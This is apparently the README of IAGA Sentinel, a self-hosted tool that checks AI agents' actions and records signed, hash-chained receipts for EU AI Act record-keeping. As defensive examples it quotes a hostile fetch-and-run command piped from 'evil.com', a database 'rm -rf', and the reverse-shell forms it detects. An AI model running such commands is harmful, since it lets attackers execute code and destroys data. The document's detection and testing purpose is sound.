GitHub - IAGA-TEAM/IAGA-Sentinel: IAGA Sentinel sits next to your AI agents and answers the one question the agent itself cannot.

GitHub

17 min read Original article ↗

IAGA Sentinel: an isometric evidence chain of signed receipts linking into a single verifiable hash chain

The EU AI Act conformity evidence layer for AI agents.

Cryptographically signed, replay-verifiable evidence of every action an agent routes through it, structured to support AI Act Article 12 record-keeping and Annex IV documentation.

version 2.0.2 license BUSL-1.1 Supports EU AI Act Article 12 record-keeping Rust stable CI Join the IAGA Sentinel Discord

Documentation · Setup in one prompt · Quickstart · Autonomous agent setup · Community vs Enterprise · Who we are · License

Built in the EU by three founders (French, German, Italian) and research-validated, not marketing-validated: peer-reviewed at AISEC 2026, Marrakech.


Setup in one prompt

Paste this to your coding agent. It reads AGENTS.md and does the rest — builds the binary, derives your rules, asks you to approve them, starts the server, connects itself over MCP, and makes two live calls you watch land in the dashboard.

copy the repo here https://github.com/IAGA-TEAM/IAGA-Sentinel and follow the AGENTS.MD STEP BY STEP

It stops and waits for you twice: once to approve the rules it will enforce, once to confirm you can see the calls.

…and out in one command

Getting out is as easy as getting in, and it shows you what it will do before it does it.

.\scripts\uninstall.ps1          # dry run: lists exactly what it would remove
.\scripts\uninstall.ps1 -Yes     # remove the install

The .sh twin takes --yes. It refuses to run while a governed process is still up, and it keeps your signing key unless you explicitly ask otherwise — delete that and every receipt you have ever exported becomes permanently unverifiable. There is no account to close, no daemon left behind, and no telemetry: the whole install is a database, a policy file and a key you own.


What IAGA Sentinel is

AI agents touch the shell, the filesystem, databases, third-party APIs, and secrets. When a regulator, an auditor, or your own DPO asks you to prove what an agent did, and to prove the record was not altered after the fact, most teams have nothing to show. IAGA Sentinel produces that proof: it sits next to your agent stack (HTTP sidecar, MCP proxy, or iaga run) and turns every governance verdict into an Ed25519-signed receipt linked into a hash-chained append-log, verifiable offline, with reproducible verdicts (deterministic under fixed risk weights) and replay-based drift detection. The record is structured to support EU AI Act Article 12 record-keeping and to help produce the Annex IV technical documentation a high-risk system needs.

Important

IAGA Sentinel governs in the loop and seals hard. Verdicts are computed before an action proceeds; with iaga run a blocked process never starts and an allowed one is confined directly — secrets scrubbed from its environment, no core dumps, no privilege escalation, reaped with its parent. The signed evidence and the offline replay are real and verifiable now, from a clean checkout. Kernel-level confinement (eBPF/LSM syscall and network mediation) is the Enterprise tier and is not in this open build: iaga kernel status reports the posture honestly, and every receipt carries is_authoritative: false. We do not market enforcement we do not provide.

An IAGA Sentinel signed receipt drawn as a precise instrument, sealed with a verification mark and linked into the hash chain
Every governance verdict becomes a signed receipt, sealed with Ed25519 and linked into the hash-chained log.

What makes it different:

  • Proof, not testimony. Ed25519 + hash-chained receipts, verifiable offline with the standalone iaga-verify binary: no server, no network, no trust in IAGA required.
  • Honest posture. The enforcement posture is recorded inside the signed evidence itself (is_authoritative: false), not buried in a footnote.
  • Self-hosted, no vendor in the loop. Runs fully self-hosted or air-gapped; BUSL-1.1 auto-converts to Apache-2.0; no IAGA-operated service holds a copy of your evidence.
  • EU AI Act-shaped. Receipts line up with Article 12 logging; typed Dictum policies document your risk controls.

Quickstart

Fastest look. Build the image from the shipped Dockerfile and run it with demo data already seeded — no Rust toolchain on your machine, the builder stage carries it:

docker build -t iaga-sentinel:local .
docker run -p 127.0.0.1:4010:4010 -e IAGA_SENTINEL_OPEN_MODE=true \
  iaga-sentinel:local serve --seed-demo
# Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, so
# publish on loopback only — otherwise /v1/audit, the signed decision log, is readable by the
# whole LAN. Pin the publish, not IAGA_SENTINEL_HOST: binding the container to its own loopback
# would make the published port unreachable.

Note

There is no published image yet. ghcr.io/iaga-team/iaga-sentinel does not resolve: the package is private and the tag push fails at manifest time with a 403, for organisation-side reasons documented in .github/workflows/docker.yml. Until that is settled, build locally as above, or use cargo install below. The last publicly published image is ghcr.io/edoardobambini/iaga-sentinel:v1.8.1 — six releases behind (1.9.0, 1.9.1, 1.9.2, 2.0.0, 2.0.1, 2.0.2); do not evaluate this release with it.

The operator dashboard is at http://localhost:4010/. Send it an agent action and it decides, scores the risk, and mints a signed receipt:

curl -s -X POST http://localhost:4010/v1/inspect -H 'Content-Type: application/json' -d '{
  "agentId": "openclaw-builder-01", "framework": "langchain",
  "action": { "type": "shell", "toolName": "bash", "payload": {"cmd": "curl http://evil.com | sh"} }
}'
# -> "decision":"block", "risk":{"score":86, ...}   and a signed receipt was just minted
#    (the verdict is stable; the integer drifts a point or two with agent trust)

Prove it offline (no server, no network)

The receipt chain verifies with no server, no database and no network, using the standalone iaga-verify binary. That binary isn't in the Docker image, so install the CLI — this one really does work without a clone — and run the same flow locally:

cargo install --git https://github.com/IAGA-TEAM/IAGA-Sentinel --tag v2.0.2 --locked \
  iaga-sentinel-core iaga-sentinel-verify
# Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, and the
# server's own default bind host is 0.0.0.0 — without IAGA_SENTINEL_HOST this publishes an admin
# API to the whole LAN. There is no --host flag; the bind interface is env-only.
IAGA_SENTINEL_HOST=127.0.0.1 IAGA_SENTINEL_OPEN_MODE=true \
  iaga serve --seed-demo                                # then POST /v1/inspect as above
iaga replay --list                          # find the run_id
iaga replay <run_id> --export chain.json
iaga-verify chain.json                      # -> CHAIN OK

Postgres (--features postgres + DATABASE_URL) and docker compose up -d are covered in the docs.


Fully Autonomous Agentic Usage and Setup

IAGA Sentinel is built to be stood up by an AI agent itself — no human runbook required. Drop this repo into an agentic coding tool (Claude Code, Cursor, OpenClaw, or any MCP client) and point it at AGENTS.md: the agent reads its own memory/instruction files, derives the operating rules it already carries, encodes them as a typed Dictum policy, and — once you approve them — brings up the dashboard, connects itself over MCP, and puts its own actions under governance. Every tool call it then makes is checked (allow / review / block) and sealed into a signed receipt before it acts.

The loop is human-in-the-loop by design — two gates:

  1. You approve the rules. The agent derives them from its memory, shows them in plain language (each citing its source), and waits. Nothing is enforced until you say go.
  2. You watch it work. It makes two live test calls; you watch them land on the dashboard at http://localhost:4010/ in real time, and once you confirm, it greets you.

One command runs the whole mechanical loop non-interactively — build → policy → serve → self-connect over MCP → two governed test calls → offline proof:

./scripts/agent_bootstrap.sh          # Linux/macOS (needs jq)
.\scripts\agent_bootstrap.ps1         # Windows

The detail that makes it real: the agent passes the same --policy to both iaga serve and iaga mcp-server, so the policy it authored actually governs the calls it makes over MCP — not only the ones a human types. Full standing procedure: AGENTS.md.


Test me now (2.0.2)

Do not take our word for it. The repository ships a self-contained demo kit that drives three real verdicts through the live pipeline and proves the receipt offline, on your own machine. Nothing is faked, and you get the same verdicts every run (the verdicts are stable; the exact risk integers drift slightly with agent trust, which the pipeline updates after each action). Two scripts under scripts/ and a runbook in docs/demo/README.md. The primary path is Windows PowerShell; Linux and macOS use the .sh twins.

Open two terminals. Terminal A starts the server: it builds the binaries, wipes the demo database for an identical seed, and serves the dashboard on :4010.

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
cd path\to\IAGA-Sentinel
.\scripts\demo.ps1 -Build

Wait for the green READY banner and DASHBOARD -> http://localhost:4010/. Open that URL in a browser and click the Live feed tab. Then Terminal B drives the demo:

cd path\to\IAGA-Sentinel
.\scripts\demo_run.ps1

Paced for the camera, you will watch three real verdicts land in the dashboard Live feed and the terminal at the same time:

  • Beat 1, ALLOW (risk 2): a safe repository read, recorded.
  • Beat 2, REVIEW (risk 40): a shell command that needs a production secret, opened as a pending review request for a human.
  • Beat 3, BLOCK (risk 81): rm -rf on the database, denied with a signed receipt that proves it (/v1/inspect returns the verdict; iaga run blocks a launch outright).
  • The proof. The three signed receipts export as one hash-chained run and iaga-verify prints CHAIN OK with no server, no database and no network. The final receipt attests the Block.

Animated isometric flow: signed receipts stack and seal into a single verified root
From action to sealed, verifiable evidence.

The driver asserts every verdict, so a non-deterministic run can never be recorded. To redo a clean take, stop the server with Ctrl+C and re-run demo.ps1 (it re-seeds from scratch).

On Linux and macOS the flow is identical (the driver needs curl and jq):

./scripts/demo.sh --build      # terminal A
./scripts/demo_run.sh          # terminal B

Window layout, captions and a 75 to 100 second timing budget are in docs/demo/README.md.


Documentation

Everything lives at www.iaga.tech/docs: the full zero-to-verified-evidence tutorial, framework integrations (LangChain, Claude Code, MCP, and 12 more), the Dictum policy language, cost control and budgets, API keys and scopes, configuration and environment variables, the production checklist, and troubleshooting.

In this repository:


Community vs Enterprise

This repository is the open build: the source-verifiable evidence core, with signed receipts, offline verification and replay, the Dictum policy engine, cross-platform userspace enforcement, BYOK signing, BYO ONNX reasoning, and cost control. Every claim is reproducible from a clean checkout: git clone && cargo test --workspace.

IAGA Sentinel Enterprise is a planned commercial edition, currently in development, designed to add managed, platform-specific, and compliance-delivery capabilities: Annex IV dossier generation, qualified signatures, SSO/RBAC/multi-tenancy, native SIEM and KMS integrations, authoritative kernel enforcement, and curated model packages. These are planned directions, not shipping features, and nothing here is an offer to sell. The public boundary is documented in ADR 0010; the overview is in ENTERPRISE.md.

Today, IAGA Sentinel is a source-available project (BUSL-1.1) and research effort; the Enterprise edition is not yet available for purchase. If you would like to follow it and get early access when it opens, leave your email at info@iaga.tech — no purchase, no commitment, just early information.


Who we are

Infrastructure for an EU regulation is a question of who builds it. IAGA Sentinel is built in the EU by a founding team that is European, multilingual, and native to the regulated sectors the AI Act governs. The claims below are stated as facts, with links to check them: the same posture every receipt carries.

  • William Petteni (CEO, 20, French). Commercial and strategy. Pursuing a dual degree in mechanical engineering and computer science, with deep networks across EU regulated sectors.
  • Justus Moritz Bohr (CPO, 19, German). Product and business. Third-time founder, 4+ years in business development; leads product for Annex IV and the regulatory UX.
  • Edoardo Bambini (CTO, 21, Italian). Software engineer and independent researcher; author of the AISec 2026 paper; architect of the Rust deterministic governance kernel and the cryptographic proof layer.

Average age 20: younger than the compliance suites we aim to replace, older than the EU AI Act we map to. The signature verifies the same either way.

The full team is at www.iaga.tech/team.

Research

Research-validated, not marketing-validated.

  • Peer-reviewed, not self-asserted. A paper by Edoardo Bambini was accepted at AISec 2026, the International Conference on Artificial Intelligence & Cybersecurity, held in Marrakech, Morocco (to appear in the SciMeTech special issue). It presents IAGA Sentinel's approach to conformity evidence for autonomous AI agents and includes a case study on the platform. Paper link coming soon; details at www.iaga.tech/research.

Recognition

  • École des Ponts. 1st place out of 21 startups in the startup competition run by the École nationale des ponts et chaussées (École des Ponts).
  • HackRome. IAGA Sentinel won the €1,000 prize, and Edoardo Bambini was named best solo builder of the competition, having entered, built and presented it on his own.

Status

Note

New in 1.9.0: evidence integrity you can demand, and deploy paths that hold. Receipts can now be fail-closed (IAGA_SENTINEL_RECEIPT_FAIL_CLOSED): with it set, no verdict ships without its signed receipt, and a server that cannot build a receipt logger refuses to start. Off by default, so the default build and receipt bytes are unchanged from 1.8.1. workspaceId is no longer trusted from the request body — the governance scope is derived from the agent profile, and a request asserting a different workspace gets 403 scope_mismatch instead of being judged by another workspace's policy. On the deployment side, Compose and the Kubernetes manifest now persist the Ed25519 signing key (it was regenerated on every restart, breaking verification of earlier receipts), the Helm chart no longer mounts an empty policy over the image's, and IAGA_SENTINEL_BOOTSTRAP_API_KEY makes a fresh install reachable without an interactive iaga gen-key. See the CHANGELOG.

Note

New in 1.8.0: stronger userspace confinement + reverse-shell detection. iaga run now confines an allowed child directly — setsid, no core dumps (RLIMIT_CORE=0), no privilege escalation (PR_SET_NO_NEW_PRIVS on Linux), reaped with its parent — and the threat-intel layer flags reverse shells (netcat -e/-c, bash//dev/tcp, socat EXEC) and recursive chmod 777 as critical. Enforcement stays cooperative / userspace: kernel eBPF/LSM confinement remains Enterprise, iaga kernel status reports the posture honestly, and every receipt still carries is_authoritative: false. The default build and receipt bytes are unchanged from 1.7.2. See the CHANGELOG.

Note

New in 1.7.2: the plug-in for VoltAgent + a tidy plug-ins/ home. A new released, in-the-loop plug-in for VoltAgent (@iaga-sentinel/voltagent): an onToolStart gate that throws ToolDeniedError before a tool's execute() runs, optional prompt-injection input-scan and secret redaction of tool output, and offline CHAIN OK receipts — verified end-to-end against a real sidecar and a real model. The repo's in-the-loop integrations are consolidated under plug-ins/ (released *-plugin/ next to copy-paste *-adapter/). Additive and docs-only for the core: receipts and the default build are byte-identical to 1.7.1. See the CHANGELOG.

Note

New in 1.7.1: documentation and honesty hygiene. No code-path or wire change — receipts, policy evaluation, and the default build are byte-identical to 1.7.0. The boot banner and the architecture notes now state the real pipeline depth (8 layers, two of them — sandbox and formal-verify — advisory and not part of the verdict) instead of the old "12 layers" headline; .cargo/audit.toml documents which optional/compile-time path pulls each of the three ignored RUSTSEC advisories (none is in the default build, re-verified with cargo tree); and the workspace, SDK manifests, and BUSL Licensed Work line are aligned to the release. See the CHANGELOG.

Note

New in 1.7.0: OSS backlog closure. Two deterministic Dictum builtins land — timestamp() (RFC3339 to epoch, so policies express temporal ranges with the ordinary numeric operators) and sha256() (content hashing). The MCP surface gains iaga mcp-doctor (health-check any MCP endpoint: handshake, tool-schema shape, and which calls the policy engine would block) and the iaga-sentinel-mcp crate exposing iaga::mcp::GovernedTool for Rust agents. The threat-feed format opens (threat-intel.toml, loaded via IAGA_SENTINEL_THREAT_FEED; the curated signed feed stays Enterprise), SBOM ingest learns SPDX next to CycloneDX, and iaga plugin attest --slsa-level N emits offline in-toto/SLSA statements (DSSE-signable; the level is operator-declared, not verified). All additive — receipts from earlier releases still verify byte-for-byte, and every OSS receipt stays is_authoritative:false. See the CHANGELOG.

Note

New in 1.5.6: the policy language is now Dictum. The typed policy DSL (formerly APL / Agent Policy Language) is renamed to Dictum end to end: the .dictum file extension, the iaga-sentinel-dictum crate, the dictum build feature, and the dictum[...] reason recorded on every audit event and signed receipt. The rename is behavior-preserving: the signed-receipt wire format stays byte-identical (the apl_eval_trace field is kept). See ADR 0004 and the CHANGELOG.

Note

New in 1.5.4: the policy language now enforces what it promised. The Dictum secret_ref() builtin actually detects credentials and PII inside a tool payload (it was a placeholder that always returned false), and a new url_host() builtin gives a policy a real per-host egress allowlist that also defeats look-alike-domain bypasses. Three core fixes ship alongside: the workspace egress allowlist is URL-aware, so a full URL to an allowed host is no longer over-blocked; every block or review now carries its cause in the audit event and the signed receipt, with no silent escalation; and signed receipts hash-chain across a session, so a multi-step run forms one tamper-evident hash chain. See ADR 0023 and the CHANGELOG.

Current release: 2.0.2 (release notes). CI runs the full workspace test suite (default and --all-features), live-Postgres receipt tests, SDK end-to-end smokes against a real sidecar, and clippy with -D warnings. All green from a clean checkout.


Acknowledgements

IAGA Sentinel's integration plug-ins build on, and gratefully acknowledge, the open-source work of others:

  • The VoltAgent project and its maintainers, for the agent framework the plug-in for VoltAgent integrates with.
  • The Letta project (formerly MemGPT) and its maintainers, for the stateful-agent framework.
  • The wider Rust open-source ecosystem — the hundreds of crates the iaga binary builds on, each credited with its license in THIRD_PARTY_NOTICES.md.

These names are used only to identify the projects (see Trademarks below).

Trademarks & disclaimer

Disclaimer. IAGA Sentinel is an independent project. VoltAgent and Letta are trademarks of their respective owners. IAGA Sentinel is not affiliated with, endorsed by, or sponsored by VoltAgent Inc. or Letta. Its integration plug-ins are independent integrations that work with those frameworks; they do not bundle or redistribute them — you install each framework's own package separately. See TRADEMARKS.md.

License

Source available under Business Source License 1.1 with Change License Apache-2.0: copy, modify, and redistribute freely, and use in production — the one exception is offering IAGA Sentinel, or a substantially similar AI agent governance service derived from it, to third parties as a hosted or managed service (see the Additional Use Grant in the LICENSE). Four years after each release is published, that release converts automatically and irrevocably to Apache-2.0; the conversion is written into the license itself.

No warranty, no liability. IAGA Sentinel is provided "AS IS", with no warranty and no liability for damages. It is an advisory layer (every receipt is stamped is_authoritative: false) — it does not itself enforce or guarantee anything, and you are responsible for testing and validating it before relying on it in production. See DISCLAIMER.md and the Limitation of Liability section of the LICENSE.

Repository: https://github.com/IAGA-TEAM/IAGA-Sentinel · Documentation: https://www.iaga.tech/docs · Contact: info@iaga.tech